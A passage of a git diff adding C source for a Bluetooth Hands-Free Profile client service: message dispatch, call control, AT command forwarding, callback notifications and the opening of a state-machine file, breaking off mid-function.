HF_SET_VOLUME: + bt_list_foreach(g_hfp_service.hf_devices, hf_dispatch_msg_foreach, msg); + break; + default: { + hf_state_machine_t* hfsm = get_state_machine(&msg->data.addr); + if (!hfsm) { + break; + } + + if (msg->event == HF_STACK_EVENT_AUDIO_STATE_CHANGED + && msg->data.valueint1 == HFP_AUDIO_STATE_CONNECTED) { + /* Make this device active. TODO: set active device by App. */ + bt_list_move(g_hfp_service.hf_devices, g_hfp_service.hf_devices, + find_hf_device_by_addr(&msg->data.addr), true); + } + + hf_state_machine_dispatch(hfsm, msg); + break; + } + } + + hfp_hf_msg_destroy(msg); +} + +bt_status_t hfp_hf_send_message(hfp_hf_msg_t* msg) +{ + assert(msg); + + do_in_service_loop(hfp_hf_process_message, msg); + + return BT_STATUS_SUCCESS; +} + +bt_status_t hfp_hf_send_event(bt_address_t* addr, hfp_hf_event_t evt) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(evt, addr); + + if (!msg) + return BT_STATUS_NOMEM; + + return hfp_hf_send_message(msg); +} + +static uint8_t get_current_connnection_cnt(void) +{ + bt_list_t* list = g_hfp_service.hf_devices; + bt_list_node_t* node; + uint8_t cnt = 0; + + for (node = bt_list_head(list); node != NULL; node = bt_list_next(list, node)) { + hf_device_t* device = bt_list_node(node); + if (hf_state_machine_get_state(device->hfsm) >= HFP_HF_STATE_CONNECTED || hf_state_machine_get_state(device->hfsm) == HFP_HF_STATE_CONNECTING) + cnt++; + } + + return cnt; +} + +bool hfp_hf_on_sco_start(void) +{ + hf_device_t* device; + + device = find_hf_device_by_state(HFP_HF_STATE_AUDIO_CONNECTED); + if (!device) { + BT_LOGD("%s: sco not found", __func__); + return false; + } + + if (!g_hfp_service.offloading) { + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STARTED); + return true; + } + + if (hfp_hf_send_event(&device->addr, HF_OFFLOAD_START_REQ) != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to send msg", __func__); + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_START_FAIL); + return true; + } + + BT_LOGD("%s: send sco offload start", __func__); + /* AUDIO_CTRL_EVT_STARTED would be generated at HF_OFFLOAD_START_EVT */ + return true; +} + +bool hfp_hf_on_sco_stop(void) +{ + hf_device_t* device; + + device = find_hf_device_by_state(HFP_HF_STATE_AUDIO_CONNECTED); + if (!device) { + BT_LOGD("%s: sco not found", __func__); + return false; + } + + if (!g_hfp_service.offloading) { + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + return true; + } + + if (hfp_hf_send_event(&device->addr, HF_OFFLOAD_STOP_REQ) != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to send msg", __func__); + audio_ctrl_send_control_event(PROFILE_HFP_HF, AUDIO_CTRL_EVT_STOPPED); + return true; + } + + BT_LOGD("%s: send sco offload stop", __func__); + /* AUDIO_CTRL_EVT_STOPPED would be generated at HF_OFFLOAD_STOP_EVT */ + return true; +} + +static bt_status_t hfp_hf_init(void) +{ + bt_status_t ret; + + ret = audio_ctrl_init(); + if (ret != BT_STATUS_SUCCESS) { + BT_LOGE("%s: failed to start audio control channel", __func__); + return ret; + } + + return ret; +} + +static void hfp_hf_cleanup(void) +{ + audio_ctrl_cleanup(); +} + +static bt_status_t hfp_hf_startup(profile_on_startup_t cb) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STARTUP, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = PTR2INT(uint64_t) cb; + + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_shutdown(profile_on_shutdown_t cb) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_SHUTDOWN, NULL); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = PTR2INT(uint64_t) cb; + + return hfp_hf_send_message(msg); +} + +static void hfp_hf_process_msg(profile_msg_t* msg) +{ + switch (msg->event) { + case PROFILE_EVT_HFP_OFFLOADING: + g_hfp_service.offloading = msg->data.valuebool; + break; + case PROFILE_EVT_REMOTE_DETACH: { + bt_instance_t* ins = msg->data.data; + + if (ins->hfp_hf_cookie) { + BT_LOGD("%s PROFILE_EVT_REMOTE_DETACH", __func__); + hfp_hf_unregister_callbacks((void**)&ins, ins->hfp_hf_cookie); + ins->hfp_hf_cookie = NULL; + } + break; + } + default: + break; + } +} + +static int hfp_hf_get_state(void) +{ + return 1; +} + +static void* hfp_hf_register_callbacks(void* remote, const hfp_hf_callbacks_t* callbacks) +{ + if (!g_hfp_service.started) + return NULL; + + return bt_remote_callbacks_register(g_hfp_service.callbacks, remote, (void*)callbacks); +} + +static bool hfp_hf_unregister_callbacks(void** remote, void* cookie) +{ + if (!g_hfp_service.started) + return false; + + return bt_remote_callbacks_unregister(g_hfp_service.callbacks, remote, cookie); +} + +static bool hfp_hf_is_connected(bt_address_t* addr) +{ + hf_device_t* device = find_hf_device_by_addr(addr); + + if (!device) { + return false; + } + + bool connected = hf_state_machine_get_state(device->hfsm) >= HFP_HF_STATE_CONNECTED; + + return connected; +} + +static bool hfp_hf_is_audio_connected(bt_address_t* addr) +{ + hf_device_t* device = find_hf_device_by_addr(addr); + + if (!device) { + return false; + } + + bool connected = hf_state_machine_get_state(device->hfsm) == HFP_HF_STATE_AUDIO_CONNECTED; + + return connected; +} + +static profile_connection_state_t hfp_hf_get_connection_state(bt_address_t* addr) +{ + hf_device_t* device = find_hf_device_by_addr(addr); + profile_connection_state_t conn_state; + uint32_t state; + + if (!device) + return PROFILE_STATE_DISCONNECTED; + + state = hf_state_machine_get_state(device->hfsm); + if (state == HFP_HF_STATE_DISCONNECTED) + conn_state = PROFILE_STATE_DISCONNECTED; + else if (state == HFP_HF_STATE_CONNECTING) + conn_state = PROFILE_STATE_CONNECTING; + else if (state == HFP_HF_STATE_DISCONNECTING) + conn_state = PROFILE_STATE_DISCONNECTING; + else + conn_state = PROFILE_STATE_CONNECTED; + + return conn_state; +} + +static bt_status_t hfp_hf_connect(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (get_current_connnection_cnt() >= g_hfp_service.max_connections) + return BT_STATUS_NO_RESOURCES; + + return hfp_hf_send_event(addr, HF_CONNECT); +} + +static bt_status_t hfp_hf_disconnect(bt_address_t* addr) +{ + CHECK_ENABLED(); + profile_connection_state_t state = hfp_hf_get_connection_state(addr); + if (state == PROFILE_STATE_DISCONNECTED || state == PROFILE_STATE_DISCONNECTING) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_DISCONNECT); +} + +static bt_status_t hfp_hf_set_connection_policy(bt_address_t* addr, connection_policy_t policy) +{ + hf_state_machine_t* hfsm; + char _addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + CHECK_ENABLED(); + + hfsm = get_state_machine(addr); + if (!hfsm) { + bt_addr_ba2str(addr, _addr_str); + BT_LOGE("Set policy fail, Device:%s not exist", _addr_str) + return BT_STATUS_FAIL; + } + + hf_state_machine_set_policy(hfsm, policy); + + if (policy == CONNECTION_POLICY_ALLOWED) { + hfp_hf_connect(addr); + } else if (policy == CONNECTION_POLICY_FORBIDDEN) { + hfp_hf_disconnect(addr); + } + + return BT_STATUS_SUCCESS; +} + +static bt_status_t hfp_hf_connect_audio(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr) || hfp_hf_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_CONNECT_AUDIO); +} + +static bt_status_t hfp_hf_disconnect_audio(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_audio_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_DISCONNECT_AUDIO); +} + +static bt_status_t hfp_hf_start_voice_recognition(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_VOICE_RECOGNITION_START); +} + +static bt_status_t hfp_hf_stop_voice_recognition(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_VOICE_RECOGNITION_STOP); +} + +static bt_status_t hfp_hf_dial(bt_address_t* addr, const char* number) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_DIAL_NUMBER, addr); + if (!msg) + return BT_STATUS_NOMEM; + + HF_MSG_ADD_STR(msg, 1, number, strlen(number)); + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_dial_memory(bt_address_t* addr, uint32_t memory) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_DIAL_MEMORY, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = memory; + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_redial(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_DIAL_LAST); +} + +static bt_status_t hfp_hf_accept_call(bt_address_t* addr, hfp_call_accept_t flag) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_ACCEPT_CALL, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = flag; + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_reject_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_REJECT_CALL); +} + +static bt_status_t hfp_hf_hold_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_HOLD_CALL); +} + +static bt_status_t hfp_hf_terminate_call(bt_address_t* addr) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + return hfp_hf_send_event(addr, HF_TERMINATE_CALL); +} + +static bt_status_t hfp_hf_control_call(bt_address_t* addr, hfp_call_control_t chld, uint8_t index) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_CONTROL_CALL, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = chld; + msg->data.valueint2 = index; + + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_query_current_calls(bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hf_state_machine_t* hfsm = get_state_machine(addr); + /* get call list from statemachine */ + bt_list_t* call_list = hf_state_machine_get_calls(hfsm); + *num = bt_list_length(call_list); + if (!(*num)) { + return BT_STATUS_SUCCESS; + } + + if (!allocator((void**)calls, sizeof(hfp_current_call_t) * (*num))) { + return BT_STATUS_NOMEM; + } + + bt_list_node_t* node; + hfp_current_call_t* p = *calls; + for (node = bt_list_head(call_list); node != NULL; node = bt_list_next(call_list, node)) { + hfp_current_call_t* call = bt_list_node(node); + memcpy(p, call, sizeof(hfp_current_call_t)); + p++; + } + + return BT_STATUS_SUCCESS; + // return hfp_hf_send_event(addr, QUERY_CURRENT_CALLS); +} + +static bt_status_t hfp_hf_send_at_cmd(bt_address_t* addr, const char* cmd) +{ + CHECK_ENABLED(); + if (!hfp_hf_is_connected(addr)) + return BT_STATUS_FAIL; + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_SEND_AT_COMMAND, addr); + if (!msg) + return BT_STATUS_NOMEM; + + HF_MSG_ADD_STR(msg, 1, cmd, strlen(cmd)); + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_update_battery_level(bt_address_t* addr, uint8_t level) +{ + CHECK_ENABLED(); + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_UPDATE_BATTERY_LEVEL, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = level; + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_volume_control(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + CHECK_ENABLED(); + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_SET_VOLUME, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = type; + msg->data.valueint2 = volume; + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_send_dtmf(bt_address_t* addr, char dtmf) +{ + CHECK_ENABLED(); + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_SEND_DTMF, addr); + if (!msg) + return BT_STATUS_NOMEM; + + msg->data.valueint1 = dtmf; + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_get_subscriber_number(bt_address_t* addr) +{ + CHECK_ENABLED(); + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_GET_SUBSCRIBER_NUMBER, addr); + + if (!msg) + return BT_STATUS_NOMEM; + + return hfp_hf_send_message(msg); +} + +static bt_status_t hfp_hf_query_current_calls_with_callback(bt_address_t* addr) +{ + CHECK_ENABLED(); + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_QUERY_CURRENT_CALLS_WITH_CALLBACK, addr); + if (!msg) + return BT_STATUS_NOMEM; + + return hfp_hf_send_message(msg); +} + +static const hfp_hf_interface_t HfInterface = { + sizeof(HfInterface), + .register_callbacks = hfp_hf_register_callbacks, + .unregister_callbacks = hfp_hf_unregister_callbacks, + .is_connected = hfp_hf_is_connected, + .is_audio_connected = hfp_hf_is_audio_connected, + .get_connection_state = hfp_hf_get_connection_state, + .connect = hfp_hf_connect, + .disconnect = hfp_hf_disconnect, + .set_connection_policy = hfp_hf_set_connection_policy, + .connect_audio = hfp_hf_connect_audio, + .disconnect_audio = hfp_hf_disconnect_audio, + .start_voice_recognition = hfp_hf_start_voice_recognition, + .stop_voice_recognition = hfp_hf_stop_voice_recognition, + .dial = hfp_hf_dial, + .dial_memory = hfp_hf_dial_memory, + .redial = hfp_hf_redial, + .accept_call = hfp_hf_accept_call, + .reject_call = hfp_hf_reject_call, + .hold_call = hfp_hf_hold_call, + .terminate_call = hfp_hf_terminate_call, + .control_call = hfp_hf_control_call, + .query_current_calls = hfp_hf_query_current_calls, + .send_at_cmd = hfp_hf_send_at_cmd, + .update_battery_level = hfp_hf_update_battery_level, + .volume_control = hfp_hf_volume_control, + .send_dtmf = hfp_hf_send_dtmf, + .get_subscriber_number = hfp_hf_get_subscriber_number, + .query_current_calls_with_callback = hfp_hf_query_current_calls_with_callback, +}; + +static const void* get_hf_profile_interface(void) +{ + return &HfInterface; +} + +static int hfp_hf_dump(void) +{ + printf("impl hfp hf dump"); + return 0; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void hf_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, connection_state_cb, addr, state); +} + +void hf_service_notify_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, audio_state_cb, addr, state); +} + +void hf_service_notify_vr_state_changed(bt_address_t* addr, bool started) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, vr_cmd_cb, addr, started); +} + +void hf_service_notify_call_state_changed(bt_address_t* addr, hfp_current_call_t* call) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, call_state_changed_cb, addr, call); +} + +void hf_service_notify_cmd_complete(bt_address_t* addr, const char* resp) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, cmd_complete_cb, addr, resp); +} + +void hf_service_notify_ring_indication(bt_address_t* addr, bool inband_ring_tone) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, ring_indication_cb, addr, inband_ring_tone); +} + +void hf_service_notify_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, volume_changed_cb, addr, type, volume); +} + +void hf_service_notify_call(bt_address_t* addr, hfp_call_t call) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, call_cb, addr, call); +} + +void hf_service_notify_callsetup(bt_address_t* addr, hfp_callsetup_t callsetup) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, callsetup_cb, addr, callsetup); +} + +void hf_service_notify_callheld(bt_address_t* addr, hfp_callheld_t callheld) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, callheld_cb, addr, callheld); +} + +void hf_service_notify_clip_received(bt_address_t* addr, const char* number, const char* name) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, clip_cb, addr, number, name); +} + +void hf_service_notify_subscriber_number(bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, subscriber_number_cb, addr, number, service); +} + +void hf_service_notify_current_calls(bt_address_t* addr, uint8_t num, hfp_current_call_t* calls) +{ + BT_LOGD("%s", __func__); + HF_CALLBACK_FOREACH(g_hfp_service.callbacks, query_current_calls_cb, addr, num, calls); +} + +void hfp_hf_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state, + profile_connection_reason_t reason, uint32_t remote_features) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CONNECTION_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + msg->data.valueint2 = reason; + msg->data.valueint3 = remote_features; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_audio_connection_state_changed(bt_address_t* addr, + hfp_audio_state_t state, + uint16_t sco_connection_handle) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_AUDIO_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + msg->data.valueint2 = sco_connection_handle; + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_codec_changed(bt_address_t* addr, hfp_codec_config_t* config) +{ + BT_LOGD("HF codec config [codec:%d][sample rate:%" PRIu32 "][bit width:%d]", config->codec, + config->sample_rate, config->bit_width); + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CODEC_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = config->codec; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_call_setup_state_changed(bt_address_t* addr, hfp_callsetup_t setup) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CALLSETUP, addr); + if (!msg) + return; + + msg->data.valueint1 = setup; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_call_active_state_changed(bt_address_t* addr, hfp_call_t state) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CALL, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_call_held_state_changed(bt_address_t* addr, hfp_callheld_t state) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CALLHELD, addr); + if (!msg) + return; + + msg->data.valueint1 = state; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_VOLUME_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = type; + msg->data.valueint2 = volume; + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_ring_active_state_changed(bt_address_t* addr, bool active, hfp_in_band_ring_state_t inband_ring) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_RING_INDICATION, addr); + if (!msg) + return; + + msg->data.valueint1 = active; + msg->data.valueint2 = inband_ring; + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_voice_recognition_state_changed(bt_address_t* addr, bool started) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_VR_STATE_CHANGED, addr); + if (!msg) + return; + + msg->data.valueint1 = started; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_received_at_cmd_resp(bt_address_t* addr, char* response, uint16_t response_length) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CMD_RESPONSE, addr); + if (!msg) + return; + + HF_MSG_ADD_STR(msg, 1, response, response_length); + hfp_hf_send_message(msg); +} + +void hfp_hf_on_received_sco_connection_req(bt_address_t* addr) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_AUDIO_REQ, addr); + if (!msg) + return; + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_clip(bt_address_t* addr, const char* number, const char* name) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CLIP, addr); + if (!msg) + return; + + HF_MSG_ADD_STR(msg, 1, number, strlen(number)); + HF_MSG_ADD_STR(msg, 2, name, strlen(name)); + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_current_call_response(bt_address_t* addr, uint32_t idx, + hfp_call_direction_t dir, + hfp_hf_call_state_t status, + hfp_call_mpty_type_t mpty, + const char* number, uint32_t type) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CURRENT_CALLS, addr); + if (!msg) + return; + + msg->data.valueint1 = idx; + msg->data.valueint2 = dir; + msg->data.valueint3 = status; + msg->data.valueint4 = mpty; + HF_MSG_ADD_STR(msg, 1, number, strlen(number)); + + hfp_hf_send_message(msg); +} + +void hfp_hf_on_at_command_result_response(bt_address_t* addr, uint32_t at_cmd_code, uint32_t result) +{ + switch (at_cmd_code) { + case HFP_ATCMD_CODE_ATD: + case HFP_ATCMD_CODE_BLDN: + break; + default: + return; + } + + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CMD_RESULT, addr); + if (!msg) + return; + + msg->data.valueint1 = at_cmd_code; + msg->data.valueint2 = result; + hfp_hf_send_message(msg); +} + +void hfp_hf_on_subscriber_number_response(bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service) +{ + hfp_hf_msg_t* msg = hfp_hf_msg_new(HF_STACK_EVENT_CNUM, addr); + if (!msg) + return; + + HF_MSG_ADD_STR(msg, 1, number, strlen(number)); + msg->data.valueint2 = service; + + hfp_hf_send_message(msg); +} + +static const profile_service_t hfp_hf_service = { + .auto_start = true, + .name = PROFILE_HFP_HF_NAME, + .id = PROFILE_HFP_HF, + .transport = BT_TRANSPORT_BREDR, + .uuid = BT_UUID_DECLARE_16(BT_UUID_HFP), + .init = hfp_hf_init, + .startup = hfp_hf_startup, + .shutdown = hfp_hf_shutdown, + .process_msg = hfp_hf_process_msg, + .get_state = hfp_hf_get_state, + .get_profile_interface = get_hf_profile_interface, + .cleanup = hfp_hf_cleanup, + .dump = hfp_hf_dump, +}; + +void register_hfp_hf_service(void) +{ + register_service(&hfp_hf_service); +} diff --git a/service/profiles/hfp_hf/hfp_hf_state_machine.c b/service/profiles/hfp_hf/hfp_hf_state_machine.c new file mode 100644 index 0000000000000000000000000000000000000000..14f143e2f11136f41a499e4a06dd40d2a75e92e6 --- /dev/null +++ b/service/profiles/hfp_hf/hfp_hf_state_machine.c @@ -0,0 +1,1677 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hf_stm" + +#include <stdbool.h> +#include <stdlib.h> +#include <string.h> +#include <sys/types.h> + +#include "sal_hfp_hf_interface.h" +#include "sal_interface.h" + +#include "audio_control.h" +#include "bt_addr.h" +#include "bt_dfx.h" +#include "bt_hfp_hf.h" +#include "bt_list.h" +#include "bt_utils.h" +#include "bt_vendor.h" +#include "connection_manager.h" +#include "hci_parser.h" +#include "hfp_hf_service.h" +#include "hfp_hf_state_machine.h" +#include "media_system.h" +#include "power_manager.h" +#include "service_loop.h" +#include "utils/log.h" + +#define HFP_HF_RETRY_MAX 1 + +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER +const static char voip_call_number[][HFP_PHONENUM_DIGITS_MAX] = { + "10000000", + "10000001" +}; +#endif + +#define HFP_HF_REPORT_CIEV_AND_CACHE(_hfsm, _ciev) \ + do { \ + if (_hfsm->call_status.last_reported._ciev##_status != _hfsm->call_status._ciev##_status) { \ + BT_LOGD("%s, %s = %d", __func__, #_ciev, _hfsm->call_status._ciev##_status); \ + hf_service_notify_##_ciev(&hfsm->addr, _hfsm->call_status._ciev##_status); \ + hfsm->call_status.last_reported._ciev##_status = hfsm->call_status._ciev##_status; \ + } \ + } while (0) + +typedef struct _hf_state_machine { + state_machine_t sm; + bt_address_t addr; + uint16_t sco_conn_handle; + uint32_t remote_features; + service_timer_t* connect_timer; + service_timer_t* offload_timer; + service_timer_t* retry_timer; + bool recognition_active; + bool offloading; + connection_policy_t connection_policy; + uint8_t spk_volume; + uint8_t mic_volume; + int media_volume; + void* volume_listener; + uint32_t set_volume_cnt; + uint8_t codec; + uint8_t retry_cnt; + pending_state_t pending; + struct list_node pending_actions; + bt_list_t* current_calls; + bt_list_t* update_calls; + hfp_hf_call_status_t call_status; + uint8_t need_query; + bool need_query_callback; + void* service; +} hf_state_machine_t; + +typedef struct { + struct list_node node; + uint32_t cmd_code; + union { + char number[HFP_PHONENUM_DIGITS_MAX]; + } param; +} hf_at_cmd_t; + +#define HF_STM_DEBUG 1 +#define HF_CONNECT_TIMEOUT (10 * 1000) +#define HF_WEBCHAT_VERDICT (300 * 1000) +#define HF_WEBCHAT_BLOCK_PERIOD (500 * 1000) +#define HF_WEBCHAT_WAIVER_PERIOD (10 * 1000 * 1000) +#define HF_OFFLOAD_TIMEOUT 500 + +#if HF_STM_DEBUG +static void hf_stm_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action); +static void hf_stm_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event); +static const char* stack_event_to_string(hfp_hf_event_t event); + +#define HF_DBG_ENTER(__sm, __addr) hf_stm_trans_debug(__sm, __addr, "Enter") +#define HF_DBG_EXIT(__sm, __addr) hf_stm_trans_debug(__sm, __addr, "Exit ") +#define HF_DBG_EVENT(__sm, __addr, __event) hf_stm_event_debug(__sm, __addr, __event); +#else +#define HF_DBG_ENTER(__sm, __addr) +#define HF_DBG_EXIT(__sm, __addr) +#define HF_DBG_EVENT(__sm, __addr, __event) +#endif + +extern bt_status_t hfp_hf_send_message(hfp_hf_msg_t* msg); + +static void disconnected_enter(state_machine_t* sm); +static void disconnected_exit(state_machine_t* sm); +static void connecting_enter(state_machine_t* sm); +static void connecting_exit(state_machine_t* sm); +static void connected_enter(state_machine_t* sm); +static void connected_exit(state_machine_t* sm); +static void audio_on_enter(state_machine_t* sm); +static void audio_on_exit(state_machine_t* sm); + +static bool disconnected_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool connecting_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool connected_process_event(state_machine_t* sm, uint32_t event, void* p_data); +static bool audio_on_process_event(state_machine_t* sm, uint32_t event, void* p_data); + +static void bt_hci_event_callback(bt_hci_event_t* hci_event, void* context); + +static const state_t disconnected_state = { + .state_name = "Disconnected", + .state_value = HFP_HF_STATE_DISCONNECTED, + .enter = disconnected_enter, + .exit = disconnected_exit, + .process_event = disconnected_process_event, +}; + +static const state_t connecting_state = { + .state_name = "Connecting", + .state_value = HFP_HF_STATE_CONNECTING, + .enter = connecting_enter, + .exit = connecting_exit, + .process_event = connecting_process_event, +}; + +static const state_t connected_state = { + .state_name = "Connected", + .state_value = HFP_HF_STATE_CONNECTED, + .enter = connected_enter, + .exit = connected_exit, + .process_event = connected_process_event, +}; + +static const state_t audio_on_state = { + .state_name = "AudioOn", + .state_value = HFP_HF_STATE_AUDIO_CONNECTED, + .enter = audio_on_enter, + .exit = audio_on_exit, + .process_event = audio_on_process_event, +}; + +#if HF_STM_DEBUG +static void hf_stm_trans_debug(state_machine_t* sm, bt_address_t* addr, const char* action) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("%s State=%s, Peer=[%s]", action, hsm_get_current_state_name(sm), addr_str); +} + +static void hf_stm_event_debug(state_machine_t* sm, bt_address_t* addr, uint32_t event) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(addr, addr_str); + BT_LOGD("ProcessEvent, State=%s, Peer=[%s], Event=%s", hsm_get_current_state_name(sm), + addr_str, stack_event_to_string(event)); +} + +static const char* stack_event_to_string(hfp_hf_event_t event) +{ + switch 